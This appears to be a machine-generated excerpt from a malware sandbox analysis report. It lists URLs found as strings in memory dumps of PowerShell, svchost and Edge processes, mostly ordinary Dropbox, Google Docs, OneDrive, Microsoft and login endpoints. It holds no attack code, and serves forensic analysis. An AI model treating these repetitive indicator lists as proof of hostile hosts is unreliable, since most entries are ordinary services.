Source: powershell.exe, 00000002.00000002.2066486105.000001B0F2BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2066486105.000001B0F2BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2066486105.000001B0F2BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: svchost.exe, 00000005.00000003.1885468634.0000028979832000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000005.00000003.1885468634.00000289797C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000005.00000003.1885468634.0000028979832000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000005.00000003.1885468634.0000028979813000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.1885468634.0000028979832000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.1885468634.0000028979864000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.1885468634.0000028979858000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.1885468634.0000028979877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000005.00000003.1885468634.0000028979832000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2D77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E3354000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3FBF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC927C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: msedge.exe, 00000004.00000002.1956398825.000038B0024D0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2117999261.00000D100035C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: msedge.exe, 00000004.00000002.1956398825.000038B0024D0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2117999261.00000D100035C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000004.00000002.1956398825.000038B0024D0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2117999261.00000D100035C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: powershell.exe, 00000002.00000002.2066486105.000001B0F2BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: msedge.exe, 00000004.00000002.1956398825.000038B0024D0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2117999261.00000D100035C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: svchost.exe, 00000005.00000003.1885468634.0000028979832000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000005.00000003.1885468634.00000289797C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxAB
Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
